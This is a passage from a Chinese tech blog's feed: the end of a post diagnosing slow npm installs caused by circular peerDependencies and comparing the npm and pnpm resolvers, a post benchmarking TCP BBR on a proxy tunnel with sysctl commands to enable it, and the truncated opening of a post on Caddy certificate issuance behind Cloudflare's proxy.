&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ wc -l ~&amp;#x2F;.npm&amp;#x2F;_logs&amp;#x2F;2026-08-24T05_27_24_258Z-debug-0.log
597
$ sleep 20 &amp;amp;&amp;amp; wc -l ...                     # → 600 → 601
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;行数在增长、mtime 在更新&lt;&#x2F;strong&gt;——不是死循环，是极慢地推进。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ri-zhi-ding-wei-jie-duan-qia-zai-idealtree-gou-jian&quot;&gt;日志定位阶段：卡在 idealTree 构建&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ head -30 &amp;lt;最新日志&amp;gt;
silly idealTree buildDeps
silly fetch manifest @deepseek-ai&amp;#x2F;dsh@0.1.1-rc.2
silly placeDep ROOT @deepseek-ai&amp;#x2F;dsh-client-ui-theme@0.1.1-rc.2 OK for: @deepseek-ai&amp;#x2F;dsh-client-ui-layout@0.1.1-rc.2 want: ^0.1.1-rc.2
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;placeDep&lt;&#x2F;code&gt; 每放置一个依赖节点写一行日志。正常包几百行几秒完成；这里&lt;strong&gt;每行要几十秒&lt;&#x2F;strong&gt;——每个节点放置都要对已建的部分树做大量重复校验，强烈指向循环引用 &#x2F; peerDependencies 爆炸。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yan-yi-lai-tu-fa-bu-bao-que-shi-cun-zai-xun-huan-peerdependencies&quot;&gt;验依赖图：发布包确实存在循环 peerDependencies&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ npm view @deepseek-ai&amp;#x2F;cordis@4.0.1 peerDependencies
{
  &amp;#x27;@deepseek-ai&amp;#x2F;cordis-plugin-loader&amp;#x27;: &amp;#x27;^1.0.2&amp;#x27;,
  &amp;#x27;@deepseek-ai&amp;#x2F;cordis-plugin-include&amp;#x27;: &amp;#x27;^1.0.6&amp;#x27;
}

$ npm view @deepseek-ai&amp;#x2F;cordis-plugin-loader@1.0.2 peerDependencies
{ &amp;#x27;@deepseek-ai&amp;#x2F;cordis&amp;#x27;: &amp;#x27;^4.0.1&amp;#x27;, &amp;#x27;node-addon-require-builtin&amp;#x27;: &amp;#x27;^0.1.4&amp;#x27; }

$ npm view @deepseek-ai&amp;#x2F;cordis-plugin-include@1.0.6 peerDependencies
{ &amp;#x27;@deepseek-ai&amp;#x2F;cordis-plugin-loader&amp;#x27;: &amp;#x27;^1.0.2&amp;#x27;, &amp;#x27;@deepseek-ai&amp;#x2F;cordis&amp;#x27;: &amp;#x27;^4.0.1&amp;#x27; }

$ npm view @deepseek-ai&amp;#x2F;cordis-plugin-hmr@1.0.16 peerDependencies
{ &amp;#x27;@deepseek-ai&amp;#x2F;cordis-plugin-timer&amp;#x27;: &amp;#x27;^1.1.3&amp;#x27;, &amp;#x27;@deepseek-ai&amp;#x2F;cordis&amp;#x27;: &amp;#x27;^4.0.1&amp;#x27; }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;环坐实：&lt;strong&gt;cordis ⇄ loader ⇄ include&lt;&#x2F;strong&gt;，加上 60+ 个 &lt;code&gt;@deepseek-ai&#x2F;dsh-*&lt;&#x2F;code&gt; 包全部 peerDepend 回 &lt;code&gt;@deepseek-ai&#x2F;cordis&lt;&#x2F;code&gt;（本仓库 AGENTS.md 的约定：&quot;cordis 是每个 harness 包的 peerDependency&quot;）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dui-zhao-zu-zheng-ming-tu-ke-jie-zhi-shi-npm-man&quot;&gt;对照组：证明&quot;图可解，只是 npm 慢&quot;&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;$ cd &amp;#x2F;tmp &amp;amp;&amp;amp; npx @deepseek-ai&amp;#x2F;dsh@latest --version   # 同样卡 5 分钟+
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;与目录无关，是 npm 解析器对 peer 环的通病。而仓库自己的 &lt;code&gt;pnpm-lock.yaml&lt;&#x2F;code&gt; 对同一张图有完整解析——pnpm 秒级。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;gai-nian-cheng-qing&quot;&gt;概念澄清&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;xun-huan-yi-lai-shi-bu-shi-bug&quot;&gt;循环依赖是不是 bug？&lt;&#x2F;h2&gt;
&lt;p&gt;要区分两层：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;层面&lt;&#x2F;th&gt;&lt;th&gt;语言&#x2F;生态&lt;&#x2F;th&gt;&lt;th&gt;循环是否允许&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;源码 import&lt;&#x2F;td&gt;&lt;td&gt;JS&#x2F;TS (ESM)&lt;&#x2F;td&gt;&lt;td&gt;允许（live binding + 函数提升；注意顶层 &lt;code&gt;const&lt;&#x2F;code&gt; 会 TDZ）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;源码 import&lt;&#x2F;td&gt;&lt;td&gt;Python&lt;&#x2F;td&gt;&lt;td&gt;允许但 import 期穿越环就 &lt;code&gt;ImportError&lt;&#x2F;code&gt;，需延迟 import 补丁&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;源码 import&lt;&#x2F;td&gt;&lt;td&gt;Rust&lt;&#x2F;td&gt;&lt;td&gt;同 crate 允许；跨 crate 报 &lt;code&gt;cyclic package dependency detected&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;源码 include&lt;&#x2F;td&gt;&lt;td&gt;C++&lt;&#x2F;td&gt;&lt;td&gt;允许（头文件守卫 + 前置声明 + 链接器处理互引）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;&lt;strong&gt;包清单依赖&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;npm&#x2F;pnpm&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;允许&lt;&#x2F;strong&gt;——依赖树被扁平化切断，环在安装期就是合法图&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;而 cordis 的环在&lt;strong&gt;包清单层&lt;&#x2F;strong&gt;（&lt;code&gt;peerDependencies&lt;&#x2F;code&gt;），是元数据不是执行图，连&quot;编译错误&quot;都不涉及，只是 npm 解析慢。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;dependencies-vs-peerdependencies&quot;&gt;dependencies vs peerDependencies&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;dependencies&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;peerDependencies&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;含义&lt;&#x2F;td&gt;&lt;td&gt;自己运行要用的库，自动装&lt;&#x2F;td&gt;&lt;td&gt;&lt;strong&gt;不装自己的副本，要求宿主提供，必须共享同一个实例&lt;&#x2F;strong&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;安装&lt;&#x2F;td&gt;&lt;td&gt;自动（可多版本共存）&lt;&#x2F;td&gt;&lt;td&gt;npm 7+ 自动装顶层；npm 6 只警告&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;场景&lt;&#x2F;td&gt;&lt;td&gt;普通工具库&lt;&#x2F;td&gt;&lt;td&gt;插件&#x2F;框架扩展、单例需求&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;插件为什么必须 peerDep：两份拷贝破坏身份——&lt;code&gt;instanceof&lt;&#x2F;code&gt;、事件总线、全局注册表全部分家。cordis 是 &quot;everything is a plugin&quot; 架构，连&quot;加载插件&quot;本身都是插件（&lt;code&gt;cordis-plugin-loader&lt;&#x2F;code&gt;），所以 core 需要 loader、loader 又必须共享同一个 core 实例——&lt;strong&gt;互相 peerDep 是这个架构的必然产物&lt;&#x2F;strong&gt;，环合法且是刻意的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wei-shen-me-npm-zhe-me-man-pnpm-zhe-me-kuai&quot;&gt;为什么 npm 这么慢、pnpm 这么快&lt;&#x2F;h2&gt;
&lt;p&gt;npm arborist 的 idealTree 构建目标苛刻：&lt;strong&gt;同一个包尽量只装一份，且每个 peerDep 都必须由已放置的节点满足&lt;&#x2F;strong&gt;。每放置一个包：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;在整棵已建的树里搜索满足 peerDep 的现成节点&lt;&#x2F;li&gt;
&lt;li&gt;找到就挂上去，找不到就新建节点&lt;&#x2F;li&gt;
&lt;li&gt;新建节点可能让已满足的 peer 边失效 → 重新解析 → 连锁反应&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;复杂度 O(n²) 起步。有环时不存在拓扑序，算法只能&lt;strong&gt;反复迭代到不动点&lt;&#x2F;strong&gt;，环上的包互相触发，轮次随树增长——这就是 CPU 100% 每行日志几十秒的来源。&lt;&#x2F;p&gt;
&lt;p&gt;pnpm 快是因为它&lt;strong&gt;根本没解同一个难题&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;strict-peer-dependencies=false&lt;&#x2F;code&gt;（默认）→ peerDep 当普通依赖自动装一份，不参与反复求解&lt;&#x2F;li&gt;
&lt;li&gt;内容寻址 store + 硬链接，多版本共存免费&lt;&#x2F;li&gt;
&lt;li&gt;代价：&lt;strong&gt;不保证全局单例&lt;&#x2F;strong&gt;——两个插件要不同版本 cordis 就装两份，运行时悄悄出 bug（身份分裂），出错时机从安装期推迟到运行期&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以现状是分工：&lt;strong&gt;npm 慢而严格（正确优先，ERESOLVE 大声失败），pnpm 快而宽松（能用优先，静默容忍）&lt;&#x2F;strong&gt;。npm 不抄 pnpm 的原因：扁平 &lt;code&gt;node_modules&lt;&#x2F;code&gt; 物理上难容纳多版本、历史语义承诺、以及病态图在真实世界极少见（npm 优化了常见场景）。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;jie-jue-yu-dui-bi&quot;&gt;解决与对比&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh &quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;# 仓库内（绕过 workspace 误匹配）
npx --yes @deepseek-ai&amp;#x2F;dsh@latest web

# 仓库外
cd &amp;#x2F;home&amp;#x2F;peter &amp;amp;&amp;amp; npx @deepseek-ai&amp;#x2F;dsh web        # npm：会卡在 peer 环解析
cd &amp;#x2F;home&amp;#x2F;peter &amp;amp;&amp;amp; pnpm dlx @deepseek-ai&amp;#x2F;dsh@latest web   # 推荐：pnpm 秒级
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;pnpm dlx&lt;&#x2F;code&gt; 与 &lt;code&gt;npx&lt;&#x2F;code&gt; 对比：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;npx&lt;&#x2F;code&gt; (npm exec)&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;pnpm dlx&lt;&#x2F;code&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;解析目标&lt;&#x2F;td&gt;&lt;td&gt;先查本地 tree&#x2F;workspace 同名包，再查全局，最后装 &lt;code&gt;~&#x2F;.npm&#x2F;_npx&#x2F;&amp;lt;hash&amp;gt;&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;直接按 registry 解析，不查 workspace&#x2F;全局&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;确认提示&lt;&#x2F;td&gt;&lt;td&gt;交互询问 &quot;Ok to proceed?&quot;&lt;&#x2F;td&gt;&lt;td&gt;无提示&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;缓存&lt;&#x2F;td&gt;&lt;td&gt;npm 缓存，每命令独立目录&lt;&#x2F;td&gt;&lt;td&gt;pnpm 内容寻址 store，临时目录跑完即弃&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;依赖解析&lt;&#x2F;td&gt;&lt;td&gt;npm arborist（peer 环会卡）&lt;&#x2F;td&gt;&lt;td&gt;pnpm 解析器（秒级），peer 自动补装&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;blockquote&gt;
&lt;p&gt;注意区分：&lt;code&gt;pnpm dlx&lt;&#x2F;code&gt; 取远程包执行；&lt;code&gt;pnpm exec&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;pnpm dsh&lt;&#x2F;code&gt; 执行项目内已装的。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;hr &#x2F;&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;仓库内 &lt;code&gt;npx&lt;&#x2F;code&gt; 失败&lt;&#x2F;strong&gt;是 npm 行为缺陷：&lt;code&gt;rawSpec === &#x27;*&#x27;&lt;&#x2F;code&gt; 分支不做版本比对就返回 workspace 同名节点，误判&quot;已安装&quot;后跳过安装，bin 又不在 PATH → 127。钉版本或到仓库外可绕过。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;仓库外卡死&lt;&#x2F;strong&gt;不是网络、不是死循环，是 npm arborist 对&lt;strong&gt;合法但病态&lt;&#x2F;strong&gt;的循环 peerDependencies 图做全局满足验证时的性能爆炸；图本身可解（pnpm 秒级），问题在解析器算法。&lt;&#x2F;li&gt;
&lt;li&gt;循环依赖不是 bug：&lt;code&gt;dependencies&lt;&#x2F;code&gt; 环被树扁平化切断，&lt;code&gt;peerDependencies&lt;&#x2F;code&gt; 环是插件框架的标准形态（cordis 全员 peerDep 核心是刻意设计）。&lt;&#x2F;li&gt;
&lt;li&gt;npm 与 pnpm 的取舍是&lt;strong&gt;正确性 vs 性能&lt;&#x2F;strong&gt;的分工：npm 保证单实例与大声失败，pnpm 默认静默容忍版本冲突。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>开启 TCP BBR 实测：代理隧道发送端才有收益</title>
        <published>2026-08-21T16:28:09+08:00</published>
        <updated>2026-08-24T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/learn/bbr-speedup-test/"/>
        <id>https://vercel.juzhong.asia/2026/08/learn/bbr-speedup-test/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/learn/bbr-speedup-test/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;sing-box 代理链路（本机客户端 → 服务端 → 目标站）部署完成后，常听说「服务端开 TCP BBR 可以提速」。是否属实、在哪个环节有效，用内网测试拓扑实测一把：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;本机为客户端（mixed 入站 127.0.0.1:2080），内网一台测试机为服务端（VLESS + Reality，回源握手走 amazon.com）&lt;&#x2F;li&gt;
&lt;li&gt;只测国内站点：清华镜像 3.3GB ISO 下载吞吐 + baidu&#x2F;bilibili 页面可达性&lt;&#x2F;li&gt;
&lt;li&gt;两端系统参数基线为 &lt;code&gt;cubic&lt;&#x2F;code&gt; + &lt;code&gt;fq_codel&lt;&#x2F;code&gt;，开启后为 &lt;code&gt;bbr&lt;&#x2F;code&gt; + &lt;code&gt;fq&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;交错 A&#x2F;B 对比（cubic&#x2F;bbr 交替各 3 轮），每轮 30s 窗口取平均下载速率&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;ji-zhi-bbr-shi-fa-song-duan-yong-sai-kong-zhi&quot;&gt;机制：BBR 是发送端拥塞控制&lt;&#x2F;h1&gt;
&lt;p&gt;TCP 拥塞控制由&lt;strong&gt;数据发送方&lt;&#x2F;strong&gt;决定。下载场景下发送方是目标站（如镜像站），本机&#x2F;代理服务端是接收方——&lt;strong&gt;接收方内核开不开 BBR，对下载吞吐没有直接影响&lt;&#x2F;strong&gt;。BBR 的收益体现在：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;发送方（你自己）→ 接收方的路径：如代理服务端把数据发给客户端（VPS → 本机）&lt;&#x2F;li&gt;
&lt;li&gt;高带宽时延积 + 有丢包的路径：cubic 遇丢包就线性退避，BBR 不因丢包降速&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;shi-ce-shu-ju&quot;&gt;实测数据&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;1-zhi-lian-guo-nei-zhan-dian-fa-song-fang-jing-xiang-zhan&quot;&gt;1. 直连国内站点（发送方 = 镜像站）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;轮次&lt;&#x2F;th&gt;&lt;th&gt;cubic&lt;&#x2F;th&gt;&lt;th&gt;bbr&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;3.82 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;0.43 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;3.50 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;4.88 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;0.21 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;0.38 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;两者无稳定差异（第三轮是路径整体拥塞，双双掉底）。本机是接收方，本地开 BBR 与直连下载速度无关。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-fu-wu-duan-jing-xiang-zhan-fu-wu-duan-wei-jie-shou-fang&quot;&gt;2. 服务端 → 镜像站（服务端为接收方）&lt;&#x2F;h2&gt;
&lt;p&gt;cubic 0.5~3.4 MB&#x2F;s，bbr 0.3~3.7 MB&#x2F;s，同样无差异——再次印证接收方 CC 无关。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;3-jing-lian-quan-lian-lu-ben-ji-fu-wu-duan-jing-xiang-zhan&quot;&gt;3. 经链全链路（本机 → 服务端 → 镜像站）&lt;&#x2F;h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;轮次&lt;&#x2F;th&gt;&lt;th&gt;cubic（两端）&lt;&#x2F;th&gt;&lt;th&gt;bbr（两端）&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;2.23 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;3.01 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;1.22 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;4.14 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;1.33 MB&#x2F;s&lt;&#x2F;td&gt;&lt;td&gt;3.42 MB&#x2F;s&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;bbr 稳定 3.0~4.1 MB&#x2F;s 不掉底，cubic 掉底到 1.2~1.8 MB&#x2F;s。进一步拆分确认：&lt;strong&gt;只有服务端（隧道发送端）开 BBR 有效&lt;&#x2F;strong&gt;——&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;配置&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;本机 cubic + 服务端 bbr（发送端 BBR）&lt;&#x2F;td&gt;&lt;td&gt;3.86 &#x2F; 4.18 &#x2F; 2.78 MB&#x2F;s，稳定&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;本机 bbr + 服务端 cubic（接收端 BBR）&lt;&#x2F;td&gt;&lt;td&gt;0.26 &#x2F; 4.01 &#x2F; 1.77 MB&#x2F;s，掉底&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h2 id=&quot;4-chun-nei-wang-sui-dao-duan-dui-zhao&quot;&gt;4. 纯内网隧道段对照&lt;&#x2F;h2&gt;
&lt;p&gt;服务端本地起 HTTP 服务（1GB 文件）走隧道下载：cubic 与 bbr 均为 117 MB&#x2F;s 满速——内网段本身无丢包，CC 无差异，问题出在跨网路径。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;直连国内站点&lt;&#x2F;strong&gt;：本机（接收方）开 BBR 没有收益，开启与否不影响下载速度&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;经链场景&lt;&#x2F;strong&gt;：&lt;strong&gt;服务端（隧道发送端）开 BBR 有收益&lt;&#x2F;strong&gt;——实测吞吐更稳、不掉底；这正是境外 VPS 部署的对应位置：VPS 是隧道发送端，跨境链路丢包率高，是 BBR 的典型受益场景，建议开启&lt;&#x2F;li&gt;
&lt;li&gt;本机开 BBR 无副作用；唯一的本机受益场景是&lt;strong&gt;上传&lt;&#x2F;strong&gt;（本机为发送方时）&lt;&#x2F;li&gt;
&lt;li&gt;内网测试无法完全复现跨境长路径的丢包特征，收益方向明确，幅度随路径而异&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;shi-ji-bu-shu-vps&quot;&gt;实际部署（VPS）&lt;&#x2F;h1&gt;
&lt;p&gt;按上述结论在 VPS（隧道发送端）上实际开启并持久化：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;开启前基线：内核 6.1 cloud 镜像，&lt;code&gt;cubic&lt;&#x2F;code&gt; + &lt;code&gt;fq_codel&lt;&#x2F;code&gt;，&lt;code&gt;tcp_bbr&lt;&#x2F;code&gt; 模块未加载（&lt;code&gt;tcp_available_congestion_control&lt;&#x2F;code&gt; 只有 reno&#x2F;cubic）&lt;&#x2F;li&gt;
&lt;li&gt;三条命令落地（模块加载 → 立即生效 → 持久化）：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sudo modprobe tcp_bbr
sudo sysctl -w net.ipv4.tcp_congestion_control=bbr net.core.default_qdisc=fq
printf &amp;quot;net.core.default_qdisc=fq\nnet.ipv4.tcp_congestion_control=bbr\n&amp;quot; | sudo tee &amp;#x2F;etc&amp;#x2F;sysctl.d&amp;#x2F;99-bbr.conf
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证输出：&lt;code&gt;net.ipv4.tcp_congestion_control = bbr&lt;&#x2F;code&gt;、&lt;code&gt;net.core.default_qdisc = fq&lt;&#x2F;code&gt;，&lt;code&gt;&#x2F;sys&#x2F;module&#x2F;tcp_bbr&lt;&#x2F;code&gt; 存在。&lt;&#x2F;p&gt;
&lt;p&gt;两点注意：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;sysctl -w&lt;&#x2F;code&gt; 只影响&lt;strong&gt;新建立的连接&lt;&#x2F;strong&gt;，存量 TCP 不受扰动——在线服务无需重启，对既有连接零影响&lt;&#x2F;li&gt;
&lt;li&gt;部署后若客户端日志出现个别连接异常（如读响应 &lt;code&gt;unexpected EOF&lt;&#x2F;code&gt;），不要直接归因 BBR：实测链路正常时多为客户端 keep-alive 连接复用问题，先用 curl 复现再下结论&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;kai-qi-ming-ling&quot;&gt;开启命令&lt;&#x2F;h1&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;modprobe tcp_bbr
sysctl -w net.ipv4.tcp_congestion_control=bbr net.core.default_qdisc=fq
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;持久化（&lt;code&gt;&#x2F;etc&#x2F;sysctl.d&#x2F;99-bbr.conf&lt;&#x2F;code&gt;）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;ini&quot; class=&quot;language-ini &quot;&gt;&lt;code class=&quot;language-ini&quot; data-lang=&quot;ini&quot;&gt;net.core.default_qdisc=fq
net.ipv4.tcp_congestion_control=bbr
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;验证：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sysctl net.ipv4.tcp_congestion_control   # 应输出 bbr
ls &amp;#x2F;sys&amp;#x2F;module&amp;#x2F;tcp_bbr                   # 模块已加载
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Cloudflare 代理(橙云)下 Caddy 能否自动签发 TLS 证书?tls-alpn 失败后的 http-01 回退实测</title>
        <published>2026-08-21T15:30:00+08:00</published>
        <updated>2026-08-21T15:30:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2026/08/caddy-cloudflare-proxy-acme-challenge/"/>
        <id>https://vercel.juzhong.asia/2026/08/caddy-cloudflare-proxy-acme-challenge/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2026/08/caddy-cloudflare-proxy-acme-challenge/">&lt;h1 id=&quot;xian-xiang-yu-bei-jing&quot;&gt;现象与背景&lt;&#x2F;h1&gt;
&lt;p&gt;VPS 上用 233boy 脚本部署了代理栈,Caddy 负责 80&#x2F;443 的自动 TLS(站点配置在 &lt;code&gt;&#x2F;etc&#x2F;caddy&#x2F;sites&#x2F;*.conf&lt;&#x2F;code&gt; 下批量管理)。域名托管在 Cloudflare:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;灰云(仅 DNS)&lt;&#x2F;strong&gt;:首次签发成功&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;橙云(开启代理)&lt;&#x2F;strong&gt;:之后似乎也能自动续期&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;网上流传的说法是&quot;Cloudflare 橙色代理会拦截 ACME 验证请求,导致证书签发失败&quot;,甚至需要为 &lt;code&gt;&#x2F;.well-known&#x2F;acme-challenge&#x2F;*&lt;&#x2F;code&gt; 单独配置 Bypass 策略。但直觉存疑:Caddy 支持多挑战类型,为什么回退到 http-01 后会失败?&lt;&#x2F;p&gt;
